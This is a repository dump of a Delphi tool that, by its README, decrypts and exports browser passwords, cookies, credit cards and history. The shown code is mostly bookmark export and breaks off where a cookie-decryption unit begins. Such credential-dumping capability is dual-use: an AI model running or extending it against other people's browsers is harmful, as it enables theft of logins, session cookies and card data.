├── README.md
├── bin
├── BrowserDataExtractor.exe
└── sqlite3.dll
├── image.png
└── src
├── BrowserDataExtractor.dpr
├── BrowserDataExtractor.dproj
├── browserdata
├── bookmark
│ ├── ChromiumBookmark.pas
│ └── FirefoxBookmark.pas
├── cookie
│ ├── ChromiumCookie.pas
│ └── FirefoxCookie.pas
├── creditcard
│ └── ChromiumCreditCard.pas
├── download
│ ├── ChromiumDownload.pas
│ └── FirefoxDownload.pas
├── extension
│ ├── ChromiumExtension.pas
│ └── FirefoxExtension.pas
├── history
│ ├── ChromiumHistory.pas
│ └── FirefoxHistory.pas
├── localstorage
│ ├── ChromiumLocalStorage.pas
│ └── FirefoxLocalStorage.pas
├── password
│ ├── ChromiumPassword.pas
│ └── FirefoxPassword.pas
└── sessionstorage
│ ├── ChromiumSessionStorage.pas
│ └── FirefoxSessionStorage.pas
├── chromium
├── ChromiumCrypto.pas
└── ChromiumProfiles.pas
├── common
└── BrowserDetector.pas
└── firefox
├── FirefoxCrypto.pas
└── FirefoxProfiles.pas
/README.md:
--------------------------------------------------------------------------------
1 | # BrowserDataExtractor-Delphi
2 |
3 | BrowserDataExtractor is a Delphi command-line tool for decrypting and exporting browser data (passwords, history, cookies, bookmarks, credit cards, download history, localStorage and extensions) from the browser.
4 |
5 |
6 |
7 | > Disclaimer: This tool is only intended for security research. Users are responsible for all legal and related liabilities resulting from the use of this tool. The original author does not assume any legal responsibility.
8 |
9 | 
10 |
11 | ## Supported Browser
12 |
13 | ### Windows
14 | | Browser | Password | Cookie | Bookmark | History |
15 | |:-------------------|:--------:|:------:|:--------:|:-------:|
16 | | Google Chrome | ✅ | ✅ | ✅ | ✅ | |
17 | | Microsoft Edge | ✅ | ✅ | ✅ | ✅ |
18 | | Firefox | ✅ | ✅ | ✅ | ✅ |
19 | | Firefox Beta | ✅ | ✅ | ✅ | ✅ |
20 | | Firefox Dev | ✅ | ✅ | ✅ | ✅ |
21 | | Firefox ESR | ✅ | ✅ | ✅ | ✅ |
22 | | Firefox Nightly | ✅ | ✅ | ✅ | ✅ |
23 | | 360 Speed | ❌ | ❌ | ❌ | ❌ |
24 | | QQ | ❌ | ❌ | ❌ | ❌ |
25 | | Brave | ✅ | ✅ | ✅ | ✅ |
26 | | Opera | ❌ | ❌ | ❌ | ❌ |
27 | | OperaGX | ❌ | ❌ | ❌ | ❌ |
28 | | Vivaldi | ❌ | ❌ | ❌ | ❌ |
29 | | Yandex | ❌ | ❌ | ❌ | ❌ |
30 | | CocCoc | ❌ | ❌ | ❌ | ❌ |
31 | | Internet Explorer | ❌ | ❌ | ❌ | ❌ |
32 |
33 | More Browser support will be implemented soon.
34 |
35 | ## 📄 License
36 |
37 | This project is intended for educational and recovery purposes only. Please ensure compliance with applicable laws and regulations in your jurisdiction.
38 |
39 |
40 | ## Contributing
41 |
42 | Contributions are welcome! If you have suggestions or bug fixes, please fork the repository and submit a pull request.
43 |
44 |
45 |
Made with ❤️ using Delphi RAD Studio
--------------------------------------------------------------------------------
/bin/BrowserDataExtractor.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/spawn451/BrowserDataExtractor-Delphi/fcf6efa04372a39910980ec9645a1bf23a59a9f9/bin/BrowserDataExtractor.exe
--------------------------------------------------------------------------------
/bin/sqlite3.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/spawn451/BrowserDataExtractor-Delphi/fcf6efa04372a39910980ec9645a1bf23a59a9f9/bin/sqlite3.dll
--------------------------------------------------------------------------------
/image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/spawn451/BrowserDataExtractor-Delphi/fcf6efa04372a39910980ec9645a1bf23a59a9f9/image.png
--------------------------------------------------------------------------------
/src/browserdata/bookmark/ChromiumBookmark.pas:
--------------------------------------------------------------------------------
1 | unit ChromiumBookmark;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils,
7 | System.Classes,
8 | System.IOUtils,
9 | System.Generics.Collections,
10 | System.Generics.Defaults,
11 | System.DateUtils,
12 | System.JSON,
13 | System.StrUtils;
14 |
15 | type
16 | TBrowserKind = (bkChrome, bkBrave, bkEdge);
17 |
18 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
19 |
20 | TBookmarkType = (btURL, btFolder);
21 |
22 | TBookmarkItem = record
23 | ID: Int64;
24 | Name: string;
25 | URL: string;
26 | BookmarkType: TBookmarkType;
27 | DateAdded: TDateTime;
28 | end;
29 |
30 | TBookmarkItems = TArray;
31 |
32 | TChromiumBookmarkHelper = class
33 | private
34 | FProfilePath: string;
35 | FOutputFormat: TOutputFormat;
36 | FBrowserKind: TBrowserKind;
37 | function GetProfileName: string;
38 | function GetBrowserPrefix: string;
39 | procedure EnsureResultsDirectory;
40 | procedure OutputHuman(const Bookmarks: TBookmarkItems);
41 | procedure OutputJSON(const Bookmarks: TBookmarkItems);
42 | procedure OutputCSV(const Bookmarks: TBookmarkItems);
43 | procedure OutputBookmarks(const Bookmarks: TBookmarkItems);
44 | procedure ProcessBookmarkNode(const Node: TJSONObject;
45 | var Bookmarks: TBookmarkItems);
46 | function GetBookmarkType(const TypeStr: string): TBookmarkType;
47 | function ChromiumTimeToDateTime(TimeStamp: Int64): TDateTime;
48 | public
49 | constructor Create(const AProfilePath: string;
50 | ABrowserKind: TBrowserKind = bkChrome);
51 | destructor Destroy; override;
52 | function GetBookmarks: TBookmarkItems;
53 | procedure SortBookmarksByDate(var Bookmarks: TBookmarkItems);
54 | function GetBookmarkCount: Integer;
55 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
56 | end;
57 |
58 | implementation
59 |
60 | function TChromiumBookmarkHelper.GetProfileName: string;
61 | var
62 | ProfileFolder: string;
63 | begin
64 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
65 | Result := StringReplace(ProfileFolder, ' ', '_', [rfReplaceAll]);
66 | end;
67 |
68 | function TChromiumBookmarkHelper.GetBrowserPrefix: string;
69 | begin
70 | case FBrowserKind of
71 | bkChrome:
72 | Result := 'chrome';
73 | bkBrave:
74 | Result := 'brave';
75 | bkEdge:
76 | Result := 'edge';
77 | end;
78 | end;
79 |
80 | function TChromiumBookmarkHelper.GetBookmarkType(const TypeStr: string)
81 | : TBookmarkType;
82 | begin
83 | if TypeStr = 'url' then
84 | Result := btURL
85 | else
86 | Result := btFolder;
87 | end;
88 |
89 | function TChromiumBookmarkHelper.ChromiumTimeToDateTime(TimeStamp: Int64)
90 | : TDateTime;
91 | const
92 | ChromiumTimeStart = 11644473600; // Seconds between 1601-01-01 and 1970-01-01
93 | begin
94 | Result := UnixToDateTime((TimeStamp div 1000000) - ChromiumTimeStart);
95 | end;
96 |
97 | procedure TChromiumBookmarkHelper.ProcessBookmarkNode(const Node: TJSONObject;
98 | var Bookmarks: TBookmarkItems);
99 | var
100 | NodeType, URL, Name: string;
101 | Children: TJSONArray;
102 | ChildNode: TJSONValue;
103 | TimeStamp: Int64;
104 | ConvertedTime: TDateTime;
105 | BookmarkName, BookmarkURL: string;
106 | begin
107 | if not Node.TryGetValue('type', NodeType) then
108 | Exit;
109 |
110 | if NodeType = 'url' then
111 | begin
112 | Node.TryGetValue('url', BookmarkURL);
113 | Node.TryGetValue('name', BookmarkName);
114 |
115 | if Node.TryGetValue('date_added', TimeStamp) then
116 | begin
117 | ConvertedTime := ChromiumTimeToDateTime(TimeStamp);
118 | SetLength(Bookmarks, Length(Bookmarks) + 1);
119 | with Bookmarks[High(Bookmarks)] do
120 | begin
121 | ID := Length(Bookmarks);
122 | Name := BookmarkName;
123 | URL := BookmarkURL;
124 | BookmarkType := btURL;
125 | DateAdded := ConvertedTime;
126 | end;
127 | end;
128 | end;
129 |
130 | if Node.TryGetValue('children', Children) then
131 | begin
132 | for ChildNode in Children do
133 | begin
134 | if ChildNode is TJSONObject then
135 | ProcessBookmarkNode(TJSONObject(ChildNode), Bookmarks);
136 | end;
137 | end;
138 | end;
139 |
140 | procedure TChromiumBookmarkHelper.EnsureResultsDirectory;
141 | var
142 | ResultsDir: string;
143 | begin
144 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
145 | if not TDirectory.Exists(ResultsDir) then
146 | TDirectory.CreateDirectory(ResultsDir);
147 | end;
148 |
149 | procedure TChromiumBookmarkHelper.OutputHuman(const Bookmarks: TBookmarkItems);
150 | var
151 | OutputFile: TextFile;
152 | FileName, FilePath: string;
153 | begin
154 | EnsureResultsDirectory;
155 | FileName := Format('%s_%s_bookmarks.txt', [GetBrowserPrefix, GetProfileName]);
156 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
157 | AssignFile(OutputFile, FilePath);
158 | try
159 | Rewrite(OutputFile);
160 | for var Item in Bookmarks do
161 | begin
162 | WriteLn(OutputFile);
163 | WriteLn(OutputFile, 'Name: ', Item.Name);
164 | WriteLn(OutputFile, 'URL: ', Item.URL);
165 | WriteLn(OutputFile, 'Type: ', IfThen(Item.BookmarkType = btURL, 'URL',
166 | 'Folder'));
167 | WriteLn(OutputFile, 'Date Added: ', FormatDateTime('yyyy-mm-dd hh:nn:ss',
168 | Item.DateAdded));
169 | WriteLn(OutputFile, '----------------------------------------');
170 | end;
171 | WriteLn(Format('[%s] Bookmarks saved to: %s', [GetBrowserPrefix.ToUpper,
172 | FilePath]));
173 | finally
174 | CloseFile(OutputFile);
175 | end;
176 | end;
177 |
178 | procedure TChromiumBookmarkHelper.OutputJSON(const Bookmarks: TBookmarkItems);
179 | var
180 | JSONArray: TJSONArray;
181 | JSONObject: TJSONObject;
182 | FileName, FilePath, JSONString: string;
183 | begin
184 | EnsureResultsDirectory;
185 | JSONArray := TJSONArray.Create;
186 | try
187 | for var Item in Bookmarks do
188 | begin
189 | JSONObject := TJSONObject.Create;
190 | JSONObject.AddPair('name', TJSONString.Create(Item.Name));
191 | JSONObject.AddPair('url', TJSONString.Create(Item.URL));
192 | JSONObject.AddPair('type',
193 | TJSONString.Create(IfThen(Item.BookmarkType = btURL, 'url', 'folder')));
194 | JSONObject.AddPair('dateAdded', FormatDateTime('yyyy-mm-dd hh:nn:ss',
195 | Item.DateAdded));
196 | JSONArray.AddElement(JSONObject);
197 | end;
198 |
199 | FileName := Format('%s_%s_bookmarks.json',
200 | [GetBrowserPrefix, GetProfileName]);
201 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'),
202 | FileName);
203 |
204 | JSONString := JSONArray.Format(2);
205 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
206 | TFile.WriteAllText(FilePath, JSONString);
207 |
208 | WriteLn(Format('[%s] Bookmarks saved to: %s', [GetBrowserPrefix.ToUpper,
209 | FilePath]));
210 | finally
211 | JSONArray.Free;
212 | end;
213 | end;
214 |
215 | procedure TChromiumBookmarkHelper.OutputCSV(const Bookmarks: TBookmarkItems);
216 | var
217 | OutputFile: TextFile;
218 | FileName, FilePath: string;
219 | begin
220 | EnsureResultsDirectory;
221 | FileName := Format('%s_%s_bookmarks.csv', [GetBrowserPrefix, GetProfileName]);
222 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
223 | AssignFile(OutputFile, FilePath);
224 | try
225 | Rewrite(OutputFile);
226 | WriteLn(OutputFile, 'Name,URL,Type,DateAdded');
227 |
228 | for var Item in Bookmarks do
229 | begin
230 | try
231 | WriteLn(OutputFile, Format('"%s","%s","%s","%s"',
232 | [StringReplace(Item.Name, '"', '""', [rfReplaceAll]),
233 | StringReplace(Item.URL, '"', '""', [rfReplaceAll]),
234 | IfThen(Item.BookmarkType = btURL, 'url', 'folder'),
235 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.DateAdded)]));
236 | except
237 | on E: Exception do
238 | WriteLn('Error writing bookmark: ', E.Message);
239 | end;
240 | end;
241 |
242 | WriteLn(Format('[%s] Bookmarks saved to: %s', [GetBrowserPrefix.ToUpper,
243 | FilePath]));
244 | finally
245 | CloseFile(OutputFile);
246 | end;
247 | end;
248 |
249 | procedure TChromiumBookmarkHelper.OutputBookmarks(const Bookmarks
250 | : TBookmarkItems);
251 | begin
252 | case FOutputFormat of
253 | ofHuman:
254 | OutputHuman(Bookmarks);
255 | ofJSON:
256 | OutputJSON(Bookmarks);
257 | ofCSV:
258 | OutputCSV(Bookmarks);
259 | end;
260 | end;
261 |
262 | constructor TChromiumBookmarkHelper.Create(const AProfilePath: string;
263 | ABrowserKind: TBrowserKind = bkChrome);
264 | begin
265 | inherited Create;
266 | FProfilePath := AProfilePath;
267 | FBrowserKind := ABrowserKind;
268 | FOutputFormat := ofCSV;
269 | end;
270 |
271 | destructor TChromiumBookmarkHelper.Destroy;
272 | begin
273 | inherited;
274 | end;
275 |
276 | function TChromiumBookmarkHelper.GetBookmarks: TBookmarkItems;
277 | var
278 | BookmarkFile: string;
279 | JSONText: string;
280 | RootObject: TJSONObject;
281 | RootsObject: TJSONObject;
282 | BookmarkBar, Other: TJSONObject;
283 | begin
284 | SetLength(Result, 0);
285 | BookmarkFile := TPath.Combine(FProfilePath, 'Bookmarks');
286 |
287 | if not FileExists(BookmarkFile) then
288 | begin
289 | WriteLn(Format('[%s Debug] Bookmark file not found',
290 | [GetBrowserPrefix.ToUpper]));
291 | Exit;
292 | end;
293 |
294 | try
295 | JSONText := TFile.ReadAllText(BookmarkFile);
296 | RootObject := TJSONObject.ParseJSONValue(JSONText) as TJSONObject;
297 | try
298 | if RootObject.TryGetValue('roots', RootsObject) then
299 | begin
300 | if RootsObject.TryGetValue('bookmark_bar', BookmarkBar)
301 | then
302 | ProcessBookmarkNode(BookmarkBar, Result);
303 |
304 | if RootsObject.TryGetValue('other', Other) then
305 | ProcessBookmarkNode(Other, Result);
306 | end;
307 |
308 | if Length(Result) > 0 then
309 | begin
310 | SortBookmarksByDate(Result);
311 | end;
312 | finally
313 | RootObject.Free;
314 | end;
315 | except
316 | on E: Exception do
317 | WriteLn(Format('[%s] Error processing bookmarks: %s',
318 | [GetBrowserPrefix.ToUpper, E.Message]));
319 | end;
320 |
321 | if Length(Result) > 0 then
322 | begin
323 | OutputBookmarks(Result);
324 | end;
325 | end;
326 |
327 | procedure TChromiumBookmarkHelper.SortBookmarksByDate(var Bookmarks
328 | : TBookmarkItems);
329 | var
330 | i, j: Integer;
331 | temp: TBookmarkItem;
332 | begin
333 | for i := Low(Bookmarks) to High(Bookmarks) - 1 do
334 | for j := i + 1 to High(Bookmarks) do
335 | if Bookmarks[i].DateAdded < Bookmarks[j].DateAdded then
336 | begin
337 | temp := Bookmarks[i];
338 | Bookmarks[i] := Bookmarks[j];
339 | Bookmarks[j] := temp;
340 | end;
341 | end;
342 |
343 | function TChromiumBookmarkHelper.GetBookmarkCount: Integer;
344 | var
345 | BookmarkFile: string;
346 | JSONText: string;
347 | RootObject: TJSONObject;
348 | Count: Integer;
349 |
350 | function CountBookmarksInNode(const Node: TJSONObject): Integer;
351 | var
352 | NodeType: string;
353 | Children: TJSONArray;
354 | ChildNode: TJSONValue;
355 | begin
356 | Result := 0;
357 |
358 | if not Node.TryGetValue('type', NodeType) then
359 | Exit;
360 |
361 | if NodeType = 'url' then
362 | Inc(Result);
363 |
364 | if Node.TryGetValue('children', Children) then
365 | begin
366 | for ChildNode in Children do
367 | begin
368 | if ChildNode is TJSONObject then
369 | Inc(Result, CountBookmarksInNode(TJSONObject(ChildNode)));
370 | end;
371 | end;
372 | end;
373 |
374 | begin
375 | Result := 0;
376 | BookmarkFile := TPath.Combine(FProfilePath, 'Bookmarks');
377 |
378 | if not FileExists(BookmarkFile) then
379 | Exit;
380 |
381 | try
382 | JSONText := TFile.ReadAllText(BookmarkFile);
383 | RootObject := TJSONObject.ParseJSONValue(JSONText) as TJSONObject;
384 | try
385 | if Assigned(RootObject) then
386 | begin
387 | Count := 0;
388 | var
389 | RootsObject: TJSONObject;
390 | if RootObject.TryGetValue('roots', RootsObject) then
391 | begin
392 | var
393 | BookmarkBar, Other: TJSONObject;
394 | if RootsObject.TryGetValue('bookmark_bar', BookmarkBar)
395 | then
396 | Inc(Count, CountBookmarksInNode(BookmarkBar));
397 | if RootsObject.TryGetValue('other', Other) then
398 | Inc(Count, CountBookmarksInNode(Other));
399 | end;
400 | Result := Count;
401 | end;
402 | finally
403 | RootObject.Free;
404 | end;
405 | except
406 | on E: Exception do
407 | WriteLn(Format('[%s] Error getting bookmark count: %s',
408 | [GetBrowserPrefix.ToUpper, E.Message]));
409 | end;
410 | end;
411 |
412 | end.
413 |
--------------------------------------------------------------------------------
/src/browserdata/bookmark/FirefoxBookmark.pas:
--------------------------------------------------------------------------------
1 | unit FirefoxBookmark;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils,
7 | System.Classes,
8 | System.IOUtils,
9 | System.Generics.Collections,
10 | System.Generics.Defaults,
11 | System.DateUtils,
12 | System.JSON,
13 | System.StrUtils,
14 | Uni,
15 | SQLiteUniProvider;
16 |
17 | type
18 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
19 |
20 | TBookmarkType = (btURL, btFolder);
21 |
22 | TBookmarkItem = record
23 | ID: Int64;
24 | Name: string;
25 | URL: string;
26 | BookmarkType: TBookmarkType;
27 | DateAdded: TDateTime;
28 | end;
29 |
30 | TBookmarkItems = TArray;
31 |
32 | TFirefoxBookmarkHelper = class
33 | private
34 | FProfilePath: string;
35 | FOutputFormat: TOutputFormat;
36 | FSQLiteConnection: TUniConnection;
37 |
38 | const
39 | QUERY_FIREFOX_BOOKMARK = 'SELECT id, url, type, ' +
40 | 'strftime(''%Y-%m-%d %H:%M:%S'', dateAdded/1000000, ''unixepoch'', ''localtime'') as formatted_date, '
41 | + 'title ' +
42 | 'FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)';
43 |
44 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off';
45 |
46 | function GetProfileName: string;
47 | procedure EnsureResultsDirectory;
48 | procedure OutputHuman(const Bookmarks: TBookmarkItems);
49 | procedure OutputJSON(const Bookmarks: TBookmarkItems);
50 | procedure OutputCSV(const Bookmarks: TBookmarkItems);
51 | procedure OutputBookmarks(const Bookmarks: TBookmarkItems);
52 | function GetBookmarkType(TypeValue: Int64): TBookmarkType;
53 | public
54 | constructor Create(const AProfilePath: string);
55 | destructor Destroy; override;
56 | function GetBookmarks: TBookmarkItems;
57 | procedure SortBookmarksByDate(var Bookmarks: TBookmarkItems);
58 | function GetBookmarkCount: Integer;
59 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
60 | end;
61 |
62 | implementation
63 |
64 | function TFirefoxBookmarkHelper.GetProfileName: string;
65 | var
66 | ProfileFolder: string;
67 | begin
68 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
69 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]);
70 | end;
71 |
72 | function TFirefoxBookmarkHelper.GetBookmarkType(TypeValue: Int64)
73 | : TBookmarkType;
74 | begin
75 | case TypeValue of
76 | 1:
77 | Result := btURL;
78 | else
79 | Result := btFolder;
80 | end;
81 | end;
82 |
83 | procedure TFirefoxBookmarkHelper.EnsureResultsDirectory;
84 | var
85 | ResultsDir: string;
86 | begin
87 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
88 | if not TDirectory.Exists(ResultsDir) then
89 | TDirectory.CreateDirectory(ResultsDir);
90 | end;
91 |
92 | procedure TFirefoxBookmarkHelper.OutputHuman(const Bookmarks: TBookmarkItems);
93 | var
94 | OutputFile: TextFile;
95 | FileName, FilePath: string;
96 | begin
97 | EnsureResultsDirectory;
98 | FileName := Format('firefox_%s_bookmarks.txt', [GetProfileName]);
99 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
100 | AssignFile(OutputFile, FilePath);
101 | try
102 | Rewrite(OutputFile);
103 | for var Item in Bookmarks do
104 | begin
105 | WriteLn(OutputFile);
106 | WriteLn(OutputFile, 'Name: ', Item.Name);
107 | WriteLn(OutputFile, 'URL: ', Item.URL);
108 | WriteLn(OutputFile, 'Type: ', IfThen(Item.BookmarkType = btURL, 'URL',
109 | 'Folder'));
110 | WriteLn(OutputFile, 'Date Added: ', FormatDateTime('yyyy-mm-dd hh:nn:ss',
111 | Item.DateAdded));
112 | WriteLn(OutputFile, '----------------------------------------');
113 | end;
114 | WriteLn('[FIREFOX] Bookmarks saved to: ', FilePath);
115 | finally
116 | CloseFile(OutputFile);
117 | end;
118 | end;
119 |
120 | procedure TFirefoxBookmarkHelper.OutputJSON(const Bookmarks: TBookmarkItems);
121 | var
122 | JSONArray: TJSONArray;
123 | JSONObject: TJSONObject;
124 | FileName, FilePath, JSONString: string;
125 | begin
126 | EnsureResultsDirectory;
127 | JSONArray := TJSONArray.Create;
128 | try
129 | for var Item in Bookmarks do
130 | begin
131 | JSONObject := TJSONObject.Create;
132 | JSONObject.AddPair('name', TJSONString.Create(Item.Name));
133 | JSONObject.AddPair('url', TJSONString.Create(Item.URL));
134 | JSONObject.AddPair('type', TJSONString.Create(IfThen(Item.BookmarkType = btURL, 'url', 'folder')));
135 | JSONObject.AddPair('dateAdded', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.DateAdded));
136 | JSONArray.AddElement(JSONObject);
137 | end;
138 |
139 | FileName := Format('firefox_%s_bookmarks.json', [GetProfileName]);
140 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
141 |
142 | // Convert JSON to string
143 | JSONString := JSONArray.Format(2);
144 |
145 | // Replace escaped forward slashes \/ with /
146 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
147 |
148 | // Save the modified JSON string
149 | TFile.WriteAllText(FilePath, JSONString);
150 |
151 | WriteLn('[FIREFOX] Bookmarks saved to: ', FilePath);
152 | finally
153 | JSONArray.Free;
154 | end;
155 | end;
156 |
157 | procedure TFirefoxBookmarkHelper.OutputCSV(const Bookmarks: TBookmarkItems);
158 | var
159 | OutputFile: TextFile;
160 | FileName, FilePath: string;
161 | begin
162 | EnsureResultsDirectory;
163 | FileName := Format('firefox_%s_bookmarks.csv', [GetProfileName]);
164 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
165 | AssignFile(OutputFile, FilePath);
166 | try
167 | Rewrite(OutputFile);
168 | WriteLn(OutputFile, 'Name,URL,Type,DateAdded');
169 |
170 | for var Item in Bookmarks do
171 | begin
172 | WriteLn(OutputFile, Format('"%s","%s","%s","%s"',
173 | [StringReplace(Item.Name, '"', '""', [rfReplaceAll]),
174 | StringReplace(Item.URL, '"', '""', [rfReplaceAll]),
175 | IfThen(Item.BookmarkType = btURL, 'url', 'folder'),
176 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.DateAdded)]));
177 | end;
178 |
179 | WriteLn('[FIREFOX] Bookmarks saved to: ', FilePath);
180 | finally
181 | CloseFile(OutputFile);
182 | end;
183 | end;
184 |
185 | procedure TFirefoxBookmarkHelper.OutputBookmarks(const Bookmarks
186 | : TBookmarkItems);
187 | begin
188 | case FOutputFormat of
189 | ofHuman:
190 | OutputHuman(Bookmarks);
191 | ofJSON:
192 | OutputJSON(Bookmarks);
193 | ofCSV:
194 | OutputCSV(Bookmarks);
195 | end;
196 | end;
197 |
198 | constructor TFirefoxBookmarkHelper.Create(const AProfilePath: string);
199 | begin
200 | inherited Create;
201 | FProfilePath := AProfilePath;
202 | FOutputFormat := ofCSV;
203 | FSQLiteConnection := TUniConnection.Create(nil);
204 | FSQLiteConnection.ProviderName := 'SQLite';
205 | FSQLiteConnection.LoginPrompt := False;
206 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True';
207 | end;
208 |
209 | destructor TFirefoxBookmarkHelper.Destroy;
210 | begin
211 | if Assigned(FSQLiteConnection) then
212 | begin
213 | if FSQLiteConnection.Connected then
214 | FSQLiteConnection.Disconnect;
215 | FSQLiteConnection.Free;
216 | end;
217 | inherited;
218 | end;
219 |
220 | function TFirefoxBookmarkHelper.GetBookmarks: TBookmarkItems;
221 | var
222 | Query: TUniQuery;
223 | BookmarkDb, TempDb: string;
224 | FS: TFormatSettings;
225 | begin
226 | SetLength(Result, 0);
227 | BookmarkDb := TPath.Combine(FProfilePath, 'places.sqlite');
228 |
229 | if not FileExists(BookmarkDb) then
230 | Exit;
231 |
232 | // Create temp copy of database
233 | TempDb := TPath.Combine(TPath.GetTempPath, Format('places_%s.sqlite',
234 | [TGUID.NewGuid.ToString]));
235 | try
236 | TFile.Copy(BookmarkDb, TempDb);
237 | FSQLiteConnection.Database := TempDb;
238 | FSQLiteConnection.Connect;
239 | Query := TUniQuery.Create(nil);
240 | try
241 | Query.Connection := FSQLiteConnection;
242 | Query.SQL.Text := CLOSE_JOURNAL_MODE;
243 | Query.ExecSQL;
244 | Query.SQL.Text := QUERY_FIREFOX_BOOKMARK;
245 | Query.Open;
246 |
247 | while not Query.Eof do
248 | begin
249 | SetLength(Result, Length(Result) + 1);
250 | with Result[High(Result)] do
251 | begin
252 | ID := Query.FieldByName('id').AsLargeInt;
253 | Name := Query.FieldByName('title').AsString;
254 | URL := Query.FieldByName('url').AsString;
255 | BookmarkType := GetBookmarkType(Query.FieldByName('type').AsInteger);
256 |
257 | var DateStr := Query.FieldByName('formatted_date').AsString;
258 |
259 | try
260 | FS := TFormatSettings.Create;
261 | FS.DateSeparator := '-';
262 | FS.TimeSeparator := ':';
263 | FS.ShortDateFormat := 'yyyy-mm-dd';
264 | FS.LongTimeFormat := 'hh:nn:ss';
265 | DateAdded := StrToDateTime(DateStr, FS);
266 | except
267 | on E: Exception do
268 | begin
269 | WriteLn('Error parsing date: ' + DateStr + ' - ' + E.Message);
270 | DateAdded := 0; // Default value if parsing fails
271 | end;
272 | end;
273 | end;
274 | Query.Next;
275 | end;
276 |
277 | // Sort and output bookmarks in selected format
278 | if Length(Result) > 0 then
279 | begin
280 | SortBookmarksByDate(Result);
281 | OutputBookmarks(Result);
282 | end;
283 |
284 | finally
285 | Query.Free;
286 | FSQLiteConnection.Disconnect;
287 | end;
288 |
289 | finally
290 | // Delete temporary database copy
291 | if FileExists(TempDb) then
292 | TFile.Delete(TempDb);
293 | end;
294 | end;
295 |
296 | procedure TFirefoxBookmarkHelper.SortBookmarksByDate(var Bookmarks
297 | : TBookmarkItems);
298 | var
299 | i, j: Integer;
300 | temp: TBookmarkItem;
301 | begin
302 | for i := Low(Bookmarks) to High(Bookmarks) - 1 do
303 | for j := i + 1 to High(Bookmarks) do
304 | if Bookmarks[i].DateAdded < Bookmarks[j].DateAdded then
305 | begin
306 | temp := Bookmarks[i];
307 | Bookmarks[i] := Bookmarks[j];
308 | Bookmarks[j] := temp;
309 | end;
310 | end;
311 |
312 | function TFirefoxBookmarkHelper.GetBookmarkCount: Integer;
313 | var
314 | Query: TUniQuery;
315 | BookmarkDb: string;
316 | begin
317 | Result := 0;
318 | BookmarkDb := TPath.Combine(FProfilePath, 'places.sqlite');
319 |
320 | if not FileExists(BookmarkDb) then
321 | Exit;
322 |
323 | FSQLiteConnection.Database := BookmarkDb;
324 |
325 | try
326 | FSQLiteConnection.Connect;
327 | Query := TUniQuery.Create(nil);
328 | try
329 | Query.Connection := FSQLiteConnection;
330 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM moz_bookmarks';
331 | Query.Open;
332 | Result := Query.FieldByName('count').AsInteger;
333 | finally
334 | Query.Free;
335 | end;
336 | except
337 | on E: Exception do
338 | WriteLn('Error getting bookmark count: ', E.Message);
339 | end;
340 | end;
341 |
342 | end.
343 |
--------------------------------------------------------------------------------
/src/browserdata/cookie/ChromiumCookie.pas:
--------------------------------------------------------------------------------
1 | unit ChromiumCookie;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils, System.Classes, System.IOUtils, System.Generics.Collections,
7 | System.Generics.Defaults, System.DateUtils, System.JSON, System.StrUtils,
8 | Winapi.Windows, Uni, SQLiteUniProvider, ChromiumCrypto;
9 |
10 | type
11 |
12 | TBrowserKind = (bkChrome, bkBrave, bkEdge);
13 |
14 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
15 |
16 | TCookieItem = record
17 | Host: string;
18 | Path: string;
19 | KeyName: string;
20 | Value: string;
21 | IsSecure: Boolean;
22 | IsHTTPOnly: Boolean;
23 | HasExpire: Boolean;
24 | IsPersistent: Boolean;
25 | CreateDate: TDateTime;
26 | ExpireDate: TDateTime;
27 | end;
28 |
29 | TCookieItems = TArray;
30 |
31 | TChromiumCookieHelper = class
32 | private
33 | FProfilePath: string;
34 | FOutputFormat: TOutputFormat;
35 | FBrowserKind: TBrowserKind;
36 | FSQLiteConnection: TUniConnection;
37 |
38 | const
39 | QUERY_CHROMIUM_COOKIE = 'SELECT name, encrypted_value, host_key, path, ' +
40 | 'strftime(''%Y-%m-%d %H:%M:%S'', creation_utc/1000000, ''unixepoch'', ''localtime'') as formatted_create_date, '
41 | + 'strftime(''%Y-%m-%d %H:%M:%S'', expires_utc/1000000, ''unixepoch'', ''localtime'') as formatted_expire_date, '
42 | + 'is_secure, is_httponly, has_expires, is_persistent FROM cookies';
43 |
44 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off';
45 |
46 | function GetProfileName: string;
47 | function GetBrowserPrefix: string;
48 | procedure EnsureResultsDirectory;
49 | procedure OutputHuman(const Cookies: TCookieItems);
50 | procedure OutputJSON(const Cookies: TCookieItems);
51 | procedure OutputCSV(const Cookies: TCookieItems);
52 | procedure OutputCookies(const Cookies: TCookieItems);
53 | function DecryptValue(const EncryptedValue: TBytes): string;
54 |
55 | public
56 | constructor Create(const AProfilePath: string;
57 | ABrowserKind: TBrowserKind = bkChrome);
58 | destructor Destroy; override;
